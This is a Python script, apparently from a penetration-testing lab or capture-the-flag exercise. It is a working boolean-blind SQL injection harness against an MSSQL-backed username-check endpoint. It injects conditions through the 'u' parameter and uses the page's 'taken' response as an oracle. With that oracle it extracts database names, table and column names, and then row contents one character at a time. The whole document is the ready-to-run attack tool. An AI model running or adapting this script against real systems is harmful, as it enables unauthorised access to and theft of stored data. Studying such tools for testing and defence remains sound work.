Boolean Blind

import requests
import urllib3
import argparse
import sys
from colorama import Fore, init
import string

init(autoreset=True)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

CHARSET = string.ascii_letters + string.digits + string.punctuation + " "
TRUE_STRING = "taken"
KNOWN_USER = "maria"
parser = argparse.ArgumentParser(
    description="MSSQL boolean-blind SQL injection dumping harness.",
    epilog=f"Example: {sys.argv[0]} -t http://example.com [-x http://127.0.0.1:8080] --current-db")
parser.add_argument("-t", "--target", required=True, type=str, help="URL of the target, including the port.")
parser.add_argument("-x", "--proxy", required=False, type=str, help="Optional proxy to pass traffic through.", default=None)
parser.add_argument("--current-db", required=False, action="store_true", help="Dump the current database name.")
parser.add_argument("--databases", required=False, action="store_true", help="Dump database names.")
parser.add_argument("--tables", required=False, action="store_true", help="Dump table names from the selected database.")
parser.add_argument("--columns", required=False, action="store_true", help="Dump column names from the selected table.")
parser.add_argument("--dump", required=False, action="store_true", help="Dump selected columns from the selected table.")
parser.add_argument("-D", "--database", required=False, type=str, help="Database name.", default=None)
parser.add_argument("-T", "--table", required=False, type=str, help="Table name.", default=None)
parser.add_argument("-C", "--columns_to_dump", required=False, type=str, help="Comma-separated columns to dump.", default=None)
args = parser.parse_args()
PROXY = args.proxy
if PROXY is not None:
    PROXY = PROXY.strip()
    PROXIES = {
        "http": PROXY,
        "https": PROXY
    }
else:
    PROXIES = {}
URL = args.target.rstrip("/").strip()

def oracle(s, query):
    params = {
        "u": f"{KNOWN_USER}' AND ({query}) -- -"
    }
    try:
        r = s.get(url=f"{URL}/api/check-username.php", params=params, verify=False, timeout=10, proxies=PROXIES)
    except Exception as e:
        print(f"{Fore.RED}\n[-] Could not make request: {e}")
        sys.exit(1)
    if r.status_code == 200 and TRUE_STRING in r.text:
        return True
    return False

def get_count(s, query, label):
    count = 0
    while True:
        print(f"\r[+] Bruteforcing number of {label}: {count}", end="", flush=True)
        count_query = f"({query})={count}"
        if oracle(s, count_query) == True:
            print(f"{Fore.GREEN}\n[+] Number of {label}: {count}")
            return count
        count += 1

def get_length(s, query, label):
    length = 0
    while True:
        print(f"\r[+] Bruteforcing length of {label}: {length}", end="", flush=True)
        length_query = f"LEN(({query}))={length}"
        if oracle(s, length_query) == True:
            print(f"{Fore.GREEN}\n[+] Length of {label}: {length}")
            return length
        length += 1

def dump_value(s, query, label):
    value = ""
    length = get_length(s, query, label)
    for pos in range(1, length + 1):
        for char in CHARSET:
            print(f"\r[+] Dumping {label}: {value}", end="", flush=True)
            # ord returns the corresponding decimal number the string has in the ASCII table
            dump_query = f"ASCII(SUBSTRING(({query}),{pos},1))={ord(char)}"
            if oracle(s, dump_query):
                value += char
                break
    print(f"{Fore.GREEN}\n[+] {label}: {value}")
    return value
if __name__ == "__main__":
    s = requests.Session()
    if args.current_db:
        dump_value(s, "SELECT db_name()", "current database name")
    if args.databases:
        database_count = get_count(s, "SELECT COUNT(*) FROM sys.databases", "databases")
        for pos in range(0, database_count):
            query = f"SELECT name FROM sys.databases ORDER BY name OFFSET {pos} ROWS FETCH NEXT 1 ROWS ONLY"
            label = f"database number {pos}"
            dump_value(s, query, label)
    if args.tables:
        database = args.database
        if not database:
            print(f"{Fore.RED}\n[-] It is required to specify the database to dump table names from.")
            sys.exit(1)
        table_count = get_count(s, f"SELECT COUNT(*) FROM information_schema.tables WHERE table_catalog='{database}'", "table count")
        for pos in range(0, table_count):
            query = f"SELECT table_name FROM information_schema.tables WHERE table_catalog='{database}' ORDER BY table_name OFFSET {pos} ROWS FETCH NEXT 1 ROWS ONLY"
            label = f"table number {pos}"
            dump_value(s, query, label)
    if args.columns:
        database = args.database
        table = args.table
        if not database or not table:
            print(f"{Fore.RED}\n[-] It is required to specify the database and table to dump column names from.")
            sys.exit(1)
        column_count = get_count(s, f"SELECT COUNT(*) FROM information_schema.columns WHERE table_catalog='{database}' AND table_name='{args.table}'", "column count")
        for pos in range(0, column_count):
            query = f"SELECT column_name FROM information_schema.columns WHERE table_catalog='{database}' AND table_name='{args.table}' ORDER BY column_name OFFSET {pos} ROWS FETCH NEXT 1 ROWS ONLY"
            label = f"column number {pos}"
            dump_value(s, query, label)
    if args.dump:
        database = args.database
        table = args.table
        columns = args.columns_to_dump
        if not database or not table or not columns:
            print(f"{Fore.RED}\n[-] It is required to specify the database,table and columns to dump data from.")
            sys.exit(1)
        columns_list = columns.split(",")
        row_count = get_count(s, f"SELECT COUNT(*) FROM {database}.dbo.{args.table}", "row count")
        for pos in range(0, row_count):
            for column in columns_list:
                query = f"SELECT CAST({column} AS NVARCHAR(4000)) FROM {database}.dbo.{args.table} ORDER BY {column} OFFSET {pos} ROWS FETCH NEXT 1 ROWS ONLY"
                label = f"{table}.{column} row {pos}"
                dump_value(s, query, label)